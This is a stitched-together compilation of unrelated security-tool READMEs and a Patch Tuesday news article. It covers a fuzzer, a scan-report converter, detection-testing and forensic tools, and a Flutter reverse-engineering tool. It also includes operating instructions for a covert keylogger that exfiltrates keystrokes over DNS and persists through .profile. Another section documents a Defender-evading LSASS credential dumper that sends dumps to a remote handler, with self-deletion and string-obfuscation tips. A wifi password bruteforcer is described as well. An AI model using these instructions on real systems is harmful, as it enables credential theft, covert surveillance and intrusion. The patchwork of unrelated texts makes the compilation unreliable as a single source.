Radamsa is a test case generator for robustness testing, a.k.a. a fuzzer. It is typically used to test how well a program can withstand malformed and potentially malicious inputs. It works by reading sample files of valid data and generating interestringly different outputs from them. The main selling points of radamsa are that it has already found a slew of bugs in programs that actually matter, it is easily scriptable and, easy to get up and running.
$ # please please please fuzz your programs. here is one way to get data for it:
$ sudo apt-get install gcc make git wget
$ git clone https://gitlab.com/akihe/radamsa.git && cd radamsa && make && sudo make install
$ echo "HAL 9000" | radamsa
Programming is hard. All nontrivial programs have bugs in them. What's more, even the simplest typical mistakes are in some of the most widely used programming languages usually enough for attackers to gain undesired powers.
Fuzzing is one of the techniques to find such unexpected behavior from programs. The idea is simply to subject the program to various kinds of inputs and see what happens. There are two parts in this process: getting the various kinds of inputs and how to see what happens. Radamsa is a solution to the first part, and the second part is typically a short shell script. Testers usually have a more or less vague idea what should not happen, and they try to find out if this is so. This kind of testing is often referred to as negative testing, being the opposite of positive unit- or integration testing. Developers know a service should not crash, should not consume exponential amounts of memory, should not get stuck in an infinite loop, etc. Attackers know that they can probably turn certain kinds of memory safety bugs into exploits, so they fuzz typically instrumented versions of the target programs and wait for such errors to be found. In theory, the idea is to counterprove by finding a counterexample a theorem about the program stating that for all inputs something doesn't happen.
There are many kinds of fuzzers and ways to apply them. Some trace the target program and generate test cases based on the behavior. Some need to know the format of the data and generate test cases based on that information. Radamsa is an extremely "black-box" fuzzer, because it needs no information about the program nor the format of the data. One can pair it with coverage analysis during testing to likely improve the quality of the sample set during a continuous test run, but this is not mandatory. The main goal is to first get tests running easily, and then refine the technique applied if necessary.
Radamsa is intended to be a good general purpose fuzzer for all kinds of data. The goal is to be able to find issues no matter what kind of data the program processes, whether it's xml or mp3, and conversely that not finding bugs implies that other similar tools likely won't find them either. This is accomplished by having various kinds of heuristics and change patterns, which are varied during the tests. Sometimes there is just one change, sometimes there a slew of them, sometimes there are bit flips, sometimes something more advanced and novel.
Radamsa is a side-product of OUSPG's Protos Genome Project, in which some techniques to automatically analyze and examine the structure of communication protocols were explored. A subset of one of the tools turned out to be a surprisingly effective file fuzzer. The first prototype black-box fuzzer tools mainly used regular and context-free formal languages to represent the inferred model of the data.
Supported operating systems: * GNU/Linux * OpenBSD * FreeBSD * Mac OS X * Windows (using Cygwin)
Software requirements for building from sources: * gcc / clang * make * git * wget
$ git clone https://gitlab.com/akihe/radamsa.git
$ cd radamsa
$ make
$ sudo make install # optional, you can also just grab bin/radamsa
$ radamsa --help
Radamsa itself is just a single binary file which has no external dependencies. You can move it where you please and remove the rest.
This section assumes some familiarity with UNIX scripting.
Radamsa can be thought as the cat UNIX tool, which manages to break the data in often interesting ways as it flows through. It has also support for generating more than one output at a time and acting as a TCP server or client, in case such things are needed.
Use of radamsa will be demonstrated by means of small examples. We will use the bc arbitrary precision calculator as an example target program.
In the simplest case, from scripting point of view, radamsa can be used to fuzz data going through a pipe.
$ echo "aaa" | radamsa
aaaa
Here radamsa decided to add one 'a' to the input. Let's try that again.
$ echo "aaa" | radamsa
ːaaa
Now we got another result. By default radamsa will grab a random seed from /dev/urandom if it is not given a specific random state to start from, and you will generally see a different result every time it is started, though for small inputs you might see the same or the original fairly often. The random state to use can be given with the -s parameter, which is followed by a number. Using the same random state will result in the same data being generated.
$ echo "Fuzztron 2000" | radamsa --seed 4
Fuzztron 4294967296
This particular example was chosen because radamsa happens to choose to use a number mutator, which replaces textual numbers with something else. Programmers might recognize why for example this particular number might be an interesting one to test for.
You can generate more than one output by using the -n parameter as follows:
$ echo "1 + (2 + (3 + 4))" | radamsa --seed 12 -n 4
1 + (2 + (2 + (3 + 4?)
1 + (2 + (3 +?4))
18446744073709551615 + 4)))
1 + (2 + (3 + 170141183460469231731687303715884105727))
There is no guarantee that all of the outputs will be unique. However, when using nontrivial samples, equal outputs tend to be extremely rare.
What we have so far can be used to for example test programs that read input from standard input, as in
$ echo "100 * (1 + (2 / 3))" | radamsa -n 10000 | bc
[...]
(standard_in) 1418: illegal character: ^_
(standard_in) 1422: syntax error
(standard_in) 1424: syntax error
(standard_in) 1424: memory exhausted
[hang]
Or the compiler used to compile Radamsa:
$ echo '((lambda (x) (+ x 1)) #x124214214)' | radamsa -n 10000 | ol
[...]
> What is 'ó µ'?
4901126677
> $
Or to test decompression:
$ gzip -c /bin/bash | radamsa -n 1000 | gzip -d > /dev/null
Typically however one might want separate runs for the program for each output. Basic shell scripting makes this easy. Usually we want a test script to run continuously, so we'll use an infinite loop here:
$ gzip -c /bin/bash > sample.gz
$ while true; do radamsa sample.gz | gzip -d > /dev/null; done
Notice that we are here giving the sample as a file instead of running Radamsa in a pipe. Like cat Radamsa will by default write the output to stdout, but unlike cat when given more than one file it will usually use only one or a few of them to create one output. This test will go about throwing fuzzed data against gzip, but doesn't care what happens then. One simple way to find out if something bad happened to a (simple single-threaded) program is to check whether the exit value is greater than 127, which would indicate a fatal program termination. This can be done for example as follows:
$ gzip -c /bin/bash > sample.gz
$ while true
do
radamsa sample.gz > fuzzed.gz
gzip -dc fuzzed.gz > /dev/null
test $? -gt 127 && break
done
This will run for as long as it takes to crash gzip, which hopefully is no longer even possible, and the fuzzed.gz can be used to check the issue if the script has stopped. We have found a few such cases, the last one of which took about 3 months to find, but all of them have as usual been filed as bugs and have been promptly fixed by the upstream.
One thing to note is that since most of the outputs are based on data in the given samples (standard input or files given at command line) it is usually a good idea to try to find good samples, and preferably more than one of them. In a more real-world test script radamsa will usually be used to generate more than one output at a time based on tens or thousands of samples, and the consequences of the outputs are tested mostly in parallel, often by giving each of the output on command line to the target program. We'll make a simple such script for bc, which accepts files from command line. The -o flag can be used to give a file name to which radamsa should write the output instead of standard output. If more than one output is generated, the path should have a %n in it, which will be expanded to the number of the output.
$ echo "1 + 2" > sample-1
$ echo "(124 % 7) ^ 1*2" > sample-2
$ echo "sqrt((1 + length(10^4)) * 5)" > sample-3
$ bc sample-* < /dev/null
3
10
5
$ while true
do
radamsa -o fuzz-%n -n 100 sample-*
bc fuzz-* < /dev/null
test $? -gt 127 && break
done
This will again run up to obviously interesting times indicated by the large exit value, or up to the target program getting stuck.
In practice many programs fail in unique ways. Some common ways to catch obvious errors are to check the exit value, enable fatal signal printing in kernel and checking if something new turns up in dmesg, run a program under strace, gdb or valgrind and see if something interesting is caught, check if an error reporter process has been started after starting the program, etc.
The examples above all either wrote to standard output or files. One can also ask radamsa to be a TCP client or server by using a special parameter to -o. The output patterns are:
| -o argument | meaning | example |
|---|---|---|
| :port | act as a TCP server in given port | # radamsa -o :80 -n inf samples/*.http-resp |
| ip:port | connect as TCP client to port of ip | $ radamsa -o 127.0.0.1:80 -n inf samples/*.http-req |
| - | write to stdout | $ radamsa -o - samples/*.vt100 |
| path | write to files, %n is testcase # and %s the first suffix | $ radamsa -o test-%n.%s -n 100 samples/*.foo |
Remember that you can use e.g. tcpflow to record TCP traffic to files, which can then be used as samples for radamsa.
A non-exhaustive list of free complementary tools:
A non-exhaustive list of related free tools: * American fuzzy lop (http://lcamtuf.coredump.cx/afl/) * Zzuf (http://caca.zoy.org/wiki/zzuf) * Bunny the Fuzzer (http://code.google.com/p/bunny-the-fuzzer/) * Peach (http://peachfuzzer.com/) * Sulley (http://code.google.com/p/sulley/)
Tools which are intended to improve security are usually complementary and should be used in parallel to improve the results. Radamsa aims to be an easy-to-set-up general purpose shotgun test to expose the easiest (and often severe due to being reachable from via input streams) cracks which might be exploitable by getting the program to process malicious data. It has also turned out to be useful for catching regressions when combined with continuous automatic testing.
A robustness testing tool is obviously only good only if it really can find non-trivial issues in real-world programs. Being a University-based group, we have tried to formulate some more scientific approaches to define what a 'good fuzzer' is, but real users are more likely to be interested in whether a tool has found something useful. We do not have anyone at OUSPG running tests or even developing Radamsa full-time, but we obviously do make occasional test-runs, both to assess the usefulness of the tool, and to help improve robustness of the target programs. For the test-runs we try to select programs that are mature, useful to us, widely used, and, preferably, open source and/or tend to process data from outside sources.
The list below has some CVEs we know of that have been found by using Radamsa. Some of the results are from our own test runs, and some have been kindly provided by CERT-FI from their tests and other users. As usual, please note that CVE:s should be read as 'product X is now more robust (against Y)'.

We would like to thank the Chromium project and Mozilla for analyzing, fixing and reporting further many of the above mentioned issues, CERT-FI for feedback and disclosure handling, and other users, projects and vendors who have responsibly taken care of uncovered bugs.
The following people have contributed to the development of radamsa in code, ideas, issues or otherwise.
Issues in Radamsa can be reported to the issue tracker. The tool is under development, but we are glad to get error reports even for known issues to make sure they are not forgotten.
You can also drop by at #radamsa on Freenode if you have questions or feedback.
Issues your programs should be fixed. If Radamsa finds them quickly (say, in an hour or a day) chances are that others will too.
Issues in other programs written by others should be dealt with responsibly. Even fairly simple errors can turn out to be exploitable, especially in programs written in low-level languages. In case you find something potentially severe, like an easily reproducible crash, and are unsure what to do with it, ask the vendor or project members, or your local CERT.
Q: If I find a bug with radamsa, do I have to mention the tool?
A: No.
Q: Will you make a graphical version of radamsa?
A: No. The intention is to keep it simple and scriptable for use in automated regression tests and continuous testing.
Q: I can't install! I don't have root access on the machine!
A: You can omit the $ make install part and just run radamsa from bin/radamsa in the build directory, or copy it somewhere else and use from there.
Q: Radamsa takes several GB of memory to compile!1
A: This is most likely due to an issue with your C compiler. Use prebuilt images or try the quick build instructions in this page.
Q: Radamsa does not compile using the instructions in this page!
A: Please file an issue at https://gitlab.com/akihe/radamsa/issues/new if you don't see a similar one already filed, send email (aohelin@gmail.com) or IRC (#radamsa on freenode).
Q: I used fuzzer X and found much more bugs from program Y than Radamsa did.
A: Cool. Let me know about it (aohelin@gmail.com) and I'll try to hack something X-ish to radamsa if it's general purpose enough. It'd also be useful to get some samples which you used to check how well radamsa does, because it might be overfitting some heuristic.
Q: Can I get support for using radamsa?
A: You can send email to aohelin@gmail.com or check if some of us happen to be hanging around at #radamsa on freenode.
Q: Can I use radamsa on Windows?
A: An experimental Windows executable is now in Downloads, but we have usually not tested it properly since we rarely use Windows internally. Feel free to file an issue if something is broken.
Q: How can I install radamsa?
A: Grab a binary from downloads and run it, or $ make && sudo make install.
Q: How can I uninstall radamsa?
A: Remove the binary you grabbed from downloads, or $ sudo make uninstall.
Q: Why are many outputs generated by Radamsa equal?
A: Radamsa doesn't keep track which outputs it has already generated, but instead relies on varying mutations to keep the output varying enough. Outputs can often be the same if you give a few small samples and generate lots of outputs from them. If you do spot a case where lots of equal outputs are generated, we'd be interested in hearing about it.
Q: There are lots of command line options. Which should I use for best results?
A: The recommended use is $ radamsa -o output-%n.foo -n 100 samples/*.foo, which is also what is used internally at OUSPG. It's usually best and most future proof to let radamsa decide the details.
Q: How can I make radamsa faster?
A: Radamsa typically writes a few megabytes of output per second. If you enable only simple mutations, e.g. -m bf,bd,bi,br,bp,bei,bed,ber,sr,sd, you will get about 10x faster output.
Q: What's with the funny name?
A: It's from a scene in a Finnish children's story. You've probably never heard about it.
Q: Is this the last question?
A: Yes.
Use of data generated by radamsa, especially when targeting buggy programs running with high privileges, can result in arbitrarily bad things to happen. A typical unexpected issue is caused by a file manager, automatic indexer or antivirus scanner trying to do something to fuzzed data before they are being tested intentionally. We have seen spontaneous reboots, system hangs, file system corruption, loss of data, and other nastiness. When in doubt, use a disposable system, throwaway profile, chroot jail, sandbox, separate user account, or an emulator.

This tool takes a scanning tool's output file, and converts it to a tabular format (CSV, XLSX, or text table). This tool can process output from the following tools:
This tool can offer a human-readable, tabular format which you can tie to any observations you have drafted in your report. Why? Because then your reviewers can tell that you, the pentester, investigated all found open ports, and looked at all scanning reports.
Using Pip:
pip install --user sr2t
You can use sr2t in two ways:

This post-exploitation keylogger will covertly exfiltrate keystrokes to a server.
These tools excel at lightweight exfiltration and persistence, properties which will prevent detection. It uses DNS tunelling/exfiltration to bypass firewalls and avoid detection.
The server uses python3.
To install dependencies, run python3 -m pip install -r requirements.txt
To start the server, run python3 main.py
usage: dns exfiltration server [-h] [-p PORT] ip domain
positional arguments:
ip
domain
options:
-h, --help show this help message and exit
-p PORT, --port PORT port to listen on
By default, the server listens on UDP port 53. Use the -p flag to specify a different port.
ip is the IP address of the server. It is used in SOA and NS records, which allow other nameservers to find the server.
domain is the domain to listen for, which should be the domain that the server is authoritative for.
On the registrar, you want to change your domain's namespace to custom DNS.
Point them to two domains, ns1.example.com and ns2.example.com.
Add records that make point the namespace domains to your exfiltration server's IP address.
This is the same as setting glue records.
The Linux keylogger is two bash scripts. connection.sh is used by the logger.sh script to send the keystrokes to the server. If you want to manually send data, such as a file, you can pipe data to the connection.sh script. It will automatically establish a connection and send the data.
logger.sh# Usage: logger.sh [-options] domain
# Positional Arguments:
# domain: the domain to send data to
# Options:
# -p path: give path to log file to listen to
# -l: run the logger with warnings and errors printed
To start the keylogger, run the command ./logger.sh [domain] && exit. This will silently start the keylogger, and any inputs typed will be sent. The && exit at the end will cause the shell to close on exit. Without it, exiting will bring you back to the non-keylogged shell. Remove the &> /dev/null to display error messages.
The -p option will specify the location of the temporary log file where all the inputs are sent to. By default, this is /tmp/.
The -l option will show warnings and errors. Can be useful for debugging.
logger.sh and connection.sh must be in the same directory for the keylogger to work. If you want persistance, you can add the command to .profile to start on every new interactive shell.
connection.shUsage: command [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-n: number of characters to store before sending a packet
To build keylogging program, run make in the windows directory. To build with reduced size and some amount of obfuscation, make the production target. This will create the build directory for you and output to a file named logger.exe in the build directory.
make production domain=example.com
You can also choose to build the program with debugging by making the debug target.
make debug domain=example.com
For both targets, you will need to specify the domain the server is listening for.
You can use dig to send requests to the server:
dig @127.0.0.1 a.1.1.1.example.com A +short send a connection request to a server on localhost.
dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short send a test message to localhost.
Replace example.com with the domain the server is listening for.
A record requests starting with a indicate the start of a "connection." When the server receives them, it will respond with a fake non-reserved IP address where the last octet contains the id of the client.
The following is the format to follow for starting a connection: a.1.1.1.[sld].[tld].
The server will respond with an IP address in following format: 123.123.123.[id]
Concurrent connections cannot exceed 254, and clients are never considered "disconnected."
A record requests starting with b indicate exfiltrated data being sent to the server.
The following is the format to follow for sending data after establishing a connection: b.[packet #].[id].[data].[sld].[tld].
The server will respond with [code].123.123.123
id is the id that was established on connection. Data is sent as ASCII encoded in hex.
code is one of the codes described below.
200: OKIf the client sends a request that is processed normally, the server will respond with code 200.
201: Malformed Record RequestsIf the client sends an malformed record request, the server will respond with code 201.
202: Non-Existant ConnectionsIf the client sends a data packet with an id greater than the # of connections, the server will respond with code 202.
203: Out of Order PacketsIf the client sends a packet with a packet id that doesn't match what is expected, the server will respond with code 203. Clients and servers should reset their packet numbers to 0. Then the client can resend the packet with the new packet id.
204 Reached Max ConnectionIf the client attempts to create a connection when the max has reached, the server will respond with code 204.
Clients should rely on responses as acknowledgements of received packets. If they do not receive a response, they should resend the same payload.
The log file containing user inputs contains ASCII control characters, such as backspace, delete, and carriage return. If you print the contents using something like cat, you should select the appropriate option to print ASCII control characters, such as -v for cat, or open it in a text-editor.
The keylogger relies on script, so the keylogger won't run in non-interactive shells.
For some reason, the Windows Dns_Query_A always sends duplicate requests. The server will process it fine because it discards repeated packets.
MultiDump is a post-exploitation tool written in C for dumping and extracting LSASS memory discreetly, without triggering Defender alerts, with a handler written in Python.
Blog post: https://xre0us.io/posts/multidump
MultiDump supports LSASS dump via ProcDump.exe or comsvc.dll, it offers two modes: a local mode that encrypts and stores the dump file locally, and a remote mode that sends the dump to a handler for decryption and analysis.

|_| |_|\__,_|_|\__|_|_____/ \__,_|_| |_| |_| .__/
|_|
Usage: MultiDump.exe [-p <ProcDumpPath>] [-l <LocalDumpPath> | -r <RemoteHandlerAddr>] [--procdump] [-v]
-p Path to save procdump.exe, use full path. Default to temp directory
-l Path to save encrypted dump file, use full path. Default to current directory
-r Set ip:port to connect to a remote handler
--procdump Writes procdump to disk and use it to dump LSASS
--nodump Disable LSASS dumping
--reg Dump SAM, SECURITY and SYSTEM hives
--delay Increase interval between connections to for slower network speeds
-v Enable v erbose mode
MultiDump defaults in local mode using comsvcs.dll and saves the encrypted dump in the current directory.
Examples:
MultiDump.exe -l C:\Users\Public\lsass.dmp -v
MultiDump.exe --procdump -p C:\Tools\procdump.exe -r 192.168.1.100:5000
usage: MultiDumpHandler.py [-h] [-r REMOTE] [-l LOCAL] [--sam SAM] [--security SECURITY] [--system SYSTEM] [-k KEY] [--override-ip OVERRIDE_IP]
Handler for RemoteProcDump
options:
-h, --help show this help message and exit
-r REMOTE, --remote REMOTE
Port to receive remote dump file
-l LOCAL, --local LOCAL
Local dump file, key needed to decrypt
--sam SAM Local SAM save, key needed to decrypt
--security SECURITY Local SECURITY save, key needed to decrypt
--system SYSTEM Local SYSTEM save, key needed to decrypt
-k KEY, --key KEY Key to decrypt local file
--override-ip OVERRIDE_IP
Manually specify the IP address for key generation in remote mode, for proxied connection
As with all LSASS related tools, Administrator/SeDebugPrivilege priviledges are required.
The handler depends on Pypykatz to parse the LSASS dump, and impacket to parse the registry saves. They should be installed in your enviroment. If you see the error All detection methods failed, it's likely the Pypykatz version is outdated.
By default, MultiDump uses the Comsvc.dll method and saves the encrypted dump in the current directory.
MultiDump.exe
...
[i] Local Mode Selected. Writing Encrypted Dump File to Disk...
[i] C:\Users\MalTest\Desktop\dciqjp.dat Written to Disk.
[i] Key: 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
./ProcDumpHandler.py -f dciqjp.dat -k 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
If --procdump is used, ProcDump.exe will be writtern to disk to dump LSASS.
In remote mode, MultiDump connects to the handler's listener.
./ProcDumpHandler.py -r 9001
[i] Listening on port 9001 for encrypted key...
MultiDump.exe -r 10.0.0.1:9001
The key is encrypted with the handler's IP and port. When MultiDump connects through a proxy, the handler should use the --override-ip option to manually specify the IP address for key generation in remote mode, ensuring decryption works correctly by matching the decryption IP with the expected IP set in MultiDump -r.
An additional option to dump the SAM, SECURITY and SYSTEM hives are available with --reg, the decryption process is the same as LSASS dumps. This is more of a convenience feature to make post exploit information gathering easier.
Open in Visual Studio, build in Release mode.
It is recommended to customise the binary before compiling, such as changing the static strings or the RC4 key used to encrypt them, to do so, another Visual Studio project EncryptionHelper, is included. Simply change the key or strings and the output of the compiled EncryptionHelper.exe can be pasted into MultiDump.c and Common.h.
Self deletion can be toggled by uncommenting the following line in Common.h:
#define SELF_DELETION
To further evade string analysis, most of the output messages can be excluded from compiling by commenting the following line in Debug.h:
//#define DEBUG
MultiDump might get detected on Windows 10 22H2 (19045) (sort of), and I have implemented a fix for it (sort of), the investigation and implementation deserves a blog post itself: https://xre0us.io/posts/saving-lsass-from-defender/

WinFiHack is a recreational attempt by me to rewrite my previous project Brute-Hacking-Framework's main wifi hacking script that uses netsh and native Windows scripts to create a wifi bruteforcer. This is in no way a fast script nor a superior way of doing the same hack but it needs no external libraries and just Python and python scripts.
The packages are minimal or nearly none 😅. The package install command is:
pip install rich pyfiglet
Thats it.
So listing the features:
rich.So this is how the bruteforcer works:
Provide Interface:
The user is required to provide the network interface for the tool to use.
By default, the interface is set to Wi-Fi.
Search and Set Target:
The user must search for and select the target network.
During this process, the tool performs the following sub-steps:
Input Password File:
The user inputs the path to the password file.
The default path for the password file is ./wordlist/default.txt.
Run the Attack:
With the target set and the password file ready, the tool is now prepared to initiate the attack.
Attack Procedure:
After installing all the packages just run python main.py rest is history 👍 make sure you run this on Windows cause this won't work on any other OS. The interface looks like this:

Microsoft Corp. today pushed software updates to plug more than 70 security holes in its Windows operating systems and related products, including two zero-day vulnerabilities that are already being exploited in active attacks.
Top of the heap on this Fat Patch Tuesday is CVE-2024-21412, a “security feature bypass” in the way Windows handles Internet Shortcut Files that Microsoft says is being targeted in active exploits. Redmond’s advisory for this bug says an attacker would need to convince or trick a user into opening a malicious shortcut file.
Researchers at Trend Micro have tied the ongoing exploitation of CVE-2024-21412 to an advanced persistent threat group dubbed “Water Hydra,” which they say has being using the vulnerability to execute a malicious Microsoft Installer File (.msi) that in turn unloads a remote access trojan (RAT) onto infected Windows systems.
The other zero-day flaw is CVE-2024-21351, another security feature bypass — this one in the built-in Windows SmartScreen component that tries to screen out potentially malicious files downloaded from the Web. Kevin Breen at Immersive Labs says it’s important to note that this vulnerability alone is not enough for an attacker to compromise a user’s workstation, and instead would likely be used in conjunction with something like a spear phishing attack that delivers a malicious file.
Satnam Narang, senior staff research engineer at Tenable, said this is the fifth vulnerability in Windows SmartScreen patched since 2022 and all five have been exploited in the wild as zero-days. They include CVE-2022-44698 in December 2022, CVE-2023-24880 in March 2023, CVE-2023-32049 in July 2023 and CVE-2023-36025 in November 2023.
Narang called special attention to CVE-2024-21410, an “elevation of privilege” bug in Microsoft Exchange Server that Microsoft says is likely to be exploited by attackers. Attacks on this flaw would lead to the disclosure of NTLM hashes, which could be leveraged as part of an NTLM relay or “pass the hash” attack, which lets an attacker masquerade as a legitimate user without ever having to log in.
“We know that flaws that can disclose sensitive information like NTLM hashes are very valuable to attackers,” Narang said. “A Russian-based threat actor leveraged a similar vulnerability to carry out attacks – CVE-2023-23397 is an Elevation of Privilege vulnerability in Microsoft Outlook patched in March 2023.”
Microsoft notes that prior to its Exchange Server 2019 Cumulative Update 14 (CU14), a security feature called Extended Protection for Authentication (EPA), which provides NTLM credential relay protections, was not enabled by default.
“Going forward, CU14 enables this by default on Exchange servers, which is why it is important to upgrade,” Narang said.
Rapid7’s lead software engineer Adam Barnett highlighted CVE-2024-21413, a critical remote code execution bug in Microsoft Office that could be exploited just by viewing a specially-crafted message in the Outlook Preview pane.
“Microsoft Office typically shields users from a variety of attacks by opening files with Mark of the Web in Protected View, which means Office will render the document without fetching potentially malicious external resources,” Barnett said. “CVE-2024-21413 is a critical RCE vulnerability in Office which allows an attacker to cause a file to open in editing mode as though the user had agreed to trust the file.”
Barnett stressed that administrators responsible for Office 2016 installations who apply patches outside of Microsoft Update should note the advisory lists no fewer than five separate patches which must be installed to achieve remediation of CVE-2024-21413; individual update knowledge base (KB) articles further note that partially-patched Office installations will be blocked from starting until the correct combination of patches has been installed.
It’s a good idea for Windows end-users to stay current with security updates from Microsoft, which can quickly pile up otherwise. That doesn’t mean you have to install them on Patch Tuesday. Indeed, waiting a day or three before updating is a sane response, given that sometimes updates go awry and usually within a few days Microsoft has fixed any issues with its patches. It’s also smart to back up your data and/or image your Windows drive before applying new updates.
For a more detailed breakdown of the individual flaws addressed by Microsoft today, check out the SANS Internet Storm Center’s list. For those admins responsible for maintaining larger Windows environments, it often pays to keep an eye on Askwoody.com, which frequently points out when specific Microsoft updates are creating problems for a number of users.
With the rapidly increasing variety of attack techniques and a simultaneous rise in the number of detection rules offered by EDRs (Endpoint Detection and Response) and custom-created ones, the need for constant functional testing of detection rules has become evident. However, manually re-running these attacks and cross-referencing them with detection rules is a labor-intensive task which is worth automating.
To address this challenge, I developed "PurpleKeep," an open-source initiative designed to facilitate the automated testing of detection rules. Leveraging the capabilities of the Atomic Red Team project which allows to simulate attacks following MITRE TTPs (Tactics, Techniques, and Procedures). PurpleKeep enhances the simulation of these TTPs to serve as a starting point for the evaluation of the effectiveness of detection rules.
Automating the process of simulating one or multiple TTPs in a test environment comes with certain challenges, one of which is the contamination of the platform after multiple simulations. However, PurpleKeep aims to overcome this hurdle by streamlining the simulation process and facilitating the creation and instrumentation of the targeted platform.
Primarily developed as a proof of concept, PurpleKeep serves as an End-to-End Detection Rule Validation platform tailored for an Azure-based environment. It has been tested in combination with the automatic deployment of Microsoft Defender for Endpoint as the preferred EDR solution. PurpleKeep also provides support for security and audit policy configurations, allowing users to mimic the desired endpoint environment.
To facilitate analysis and monitoring, PurpleKeep integrates with Azure Monitor and Log Analytics services to store the simulation logs and allow further correlation with any events and/or alerts stored in the same platform.
TLDR: PurpleKeep provides an Attack Simulation platform to serve as a starting point for your End-to-End Detection Rule Validation in an Azure-based environment.
The project is based on Azure Pipelines and requires the following to be able to run:
You can provide a security and/or audit policy file that will be loaded to mimic your Group Policy configurations. Use the Secure File option of the Library in Azure DevOps to make it accessible to your pipelines.
Refer to the variables file for your configurable items.
Deploying the infrastructure uses the Azure Pipeline to perform the following steps:
Currently only the Atomics from the public repository are supported. The pipelines takes a Technique ID as input or a comma seperate list of techniques, for example:
The logs of the simulation are ingested into the AtomicLogs_CL table of the Log Analytics Workspace.
There are currently two ways to run the simulation:
This pipeline will deploy a fresh platform after the simulation of each TTP. The Log Analytic workspace will maintain the logs of each run.
Warning: this will onboard a large number of hosts into your EDR
A fresh infrastructure will be deployed only at the beginning of the pipeline. All TTP's will be simulated on this instance. This is the fastests way to simulate and prevents onboarding a large number of devices, however running a lot of simulations in a same environment has the risk of contaminating the environment and making the simulations less stable and predictable.
Pantheon is a GUI application that allows users to display information regarding network cameras in various countries as well as an integrated live-feed for non-protected cameras.
Pantheon allows users to execute an API crawler. There was original functionality without the use of any API's (like Insecam), but Google TOS kept getting in the way of the original scraping mechanism.

The developer of this program, Josh Schiavone, is not resposible for misuse of this data gathering tool. Pantheon simply provides information that can be indexed by any modern search engine. Do not try to establish unauthorized access to live feeds that are password protected - that is illegal. Furthermore, if you do choose to use Pantheon to view a live-feed, do so at your own risk.

Flutter Mobile Application Reverse Engineering Tool by Compiling Dart AOT Runtime
Currently the application supports only Android libapp.so (arm64 only). Also the application is currently work only against recent Dart versions.
For high priority missing features, see TODO
This application uses C++20 Formatting library. It requires very recent C++ compiler such as g++>=13, Clang>=15.
I recommend using Linux OS (only tested on Deiban sid/trixie) because it is easy to setup.
apt install python3-pyelftools python3-requests git cmake ninja-build \
build-essential pkg-config libicu-dev libcapstone-dev
python scripts\init_env_win.py
brew install llvm@15 cmake ninja pkg-config icu4c capstone
pip3 install pyelftools requests
Extract "lib" directory from apk file
python3 blutter.py path/to/app/lib/arm64-v8a out_dir
The blutter.py will automatically detect the Dart version from the flutter engine and call executable of blutter to get the information from libapp.so.
If the blutter executable for required Dart version does not exists, the script will automatically checkout Dart source code and compiling it.
You can use git pull to update and run blutter.py with --rebuild option to force rebuild the executable
python3 blutter.py path/to/app/lib/arm64-v8a out_dir --rebuild
I use Visual Studio to delevlop Blutter on Windows. --vs-sln options can be used to generate a Visual Studio solution.
python blutter.py path\to\lib\arm64-v8a build\vs --vs-sln
Like its Windows counterpart, Winpmem, this is not a traditional memory dumper. Linpmem offers an API for reading from any physical address, including reserved memory and memory holes, but it can also be used for normal memory dumping. Furthermore, the driver offers a variety of access modes to read physical memory, such as byte, word, dword, qword, and buffer access mode, where buffer access mode is appropriate in most standard cases. If reading requires an aligned byte/word/dword/qword read, Linpmem will do precisely that.
Currently, the Linpmem features:
Cache Control is to be added in future for support of the specialized read access modes.
At least for now, you must compile the Linpmem driver yourself. A method to load a precompiled Linpmem driver on other Linux systems is currently under work, but not finished yet. That said, compiling the Linpmem driver is not difficult, basically it's executing 'make'.
You need make and a C compiler. (We recommend gcc, but clang should work as well).
Make sure that you have the linux-headers installed (using whatever package manager your target linux distro has). The exact package name may vary on your distribution. A quick (distro-independent) way to check if you have the package installed:
ls -l /usr/lib/modules/`uname -r`/
That's it, you can proceed to step 2.
Foreign system: Currently, if you want to compile the driver for another system, e.g., because you want to create a memory dump but can't compile on the target, you have to download the header package directly from the package repositories of that system's Linux distribution. Double-check that the package version exactly matches the release and kernel version running on the foreign system. In case the other system is using a self-compiled kernel you have to obtain a copy of that kernel's build directory. Then, place the location of either directory in the KDIR environment variable.
export KDIR=path/to/extracted/header/package/or/kernel/root
Compiling the driver is simple, just type:
make
This should produce linpmem.ko in the current working directory.
You might want to check precompiler.h before and chose whether to compile for release or debug (e.g., with debug printing). There aren't much other precompiler settings right now.
The linpmem.ko module can be loaded by using insmod path-to-linpmem.ko, and unloaded with rmmod path-to-linpmem.ko. (This will load the driver only for this uptime.) If you compiled for debug, also take a look at dmesg.
After loading, for talking to the driver, you need to create the device:
mknod /dev/linpmem c 42 0
If you can't talk to the driver, potentially check in dmesg log to verify that '42' was indeed the registered major:
[12827.900168] linpmem: registered chrdev with major 42
Though usually the kernel would try to really assign this number.
You can use chown on the device to give it to your user, if you do not want to have a root console open all the time. (Or just keep using it in a root console.)
There is an example code demonstrating and explaining (in detail) how to interact with the driver. The user-space API reference can furthermore be found in ./userspace_interface/linpmem_shared.h.
This code is important, if you want to understand how to directly interact with the driver instead of using a library. It can also be used as a short function test.
There is an (optional) basic command line interface tool to Linpmem, the pmem CLI tool. It can be found here: https://github.com/vobst/linpmem-cli. Aside from the source code, there is also a precompiled CLI tool as well as the precompiled static library and headers that can be found here (signed). Note: this is a preliminary version, be sure to check for updates, as many additions and enhancements will follow soon.
The pmem CLI tool can be used for testing the various functions of Linpmem in a (relatively) safe and convenient manner. Linpmem can also be loaded by this tool instead of using insmod/rmmod, with some extra options in future. This also has the advantage that pmem auto-creates the right device for you for immediate use. It is extremely portable and runs on any Linux system (and, in fact, has been tested even on a Linux 2.6).
$ ./pmem -h
Command-line client for the linpmem driver
Usage: pmem [OPTIONS] [COMMAND]
Commands:
insmod Load the linpmem driver
help Print this message or the help of the given subcommand(s)
Options:
-a, --address <ADDRESS> Address for physical read operations
-v, --virt-address <VIRT_ADDRESS> Translate address in target process' address space (default: current process)
-s, --size <SIZE> Size of buffer read operations
-m, --mode <MODE> Access mode for read operations [possible values: byte, word, dword, qword, buffer]
-p, --pid <PID> Target process for cr3 info and virtual-to-physical translations
--cr3 Query cr3 value of target process (default: current process)
--verbose Display debug output
-h, --help Print help (see more with '--help')
-V, --version Print version
